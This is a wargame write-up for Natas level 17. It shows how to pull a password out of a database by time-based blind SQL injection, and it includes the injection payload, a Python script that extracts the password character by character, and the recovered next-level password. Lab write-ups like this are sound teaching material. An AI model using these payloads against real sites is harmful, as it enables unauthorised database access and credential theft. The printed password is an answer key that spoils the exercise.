Wargame: Natas
Level: 17
Category: Web Exploitation
Description
Same structure as natas15 but the server returns a blank page regardless of whether the user exists. There is no visual feedback. The goal is to extract the natas18 password using response timing.
Overview
- The query is
SELECT * FROM users WHERE username="{user}", but nothing from the result is displayed. - We inject
AND IF(condition, SLEEP(5), 1)to encode the boolean answer as a timing delay. - A response that takes 5 or more seconds means the condition was true.
- The same two-phase approach as natas15 (character enumeration then prefix building) applies, using elapsed time instead of response text.
Background: Time-Based Blind SQL Injection
- MySQL’s
SLEEP(n)pauses query execution fornseconds. IF(cond, SLEEP(5), 1)sleeps if the condition is true, returns immediately if false.- Measuring
response.elapsed.total_seconds()detects the delay reliably over a LAN. - Time-based attacks are slower than response-text attacks but work even when output is fully suppressed.
Solution
Step 1: Phase 1 - Find Which Characters Appear
- For each candidate character
c, inject:natas18" and if(password like binary "%c%", sleep(5), 1) # - Measure the response time; if it is 5 or more seconds,
cis in the password.
def time_check(query):
r = requests.post(url, auth=auth, data={"username": query})
return r.elapsed.total_seconds() >= 5
match_set = []
for c in charset:
q = f'natas18" and if(password like binary "%{c}%", sleep(5), 1) #'
if time_check(q):
match_set.append(c)
Step 2: Phase 2 - Build the Password
- Use prefix matching with the same timing oracle.
result = ""
while len(result) != 32:
for c in match_set:
q = f'natas18" and if(password like binary "{result + c}%", sleep(5), 1) #'
if time_check(q):
result += c
break
Password
8NEDUUxg8kFgPV84uLwvZkGn6okJQ6aq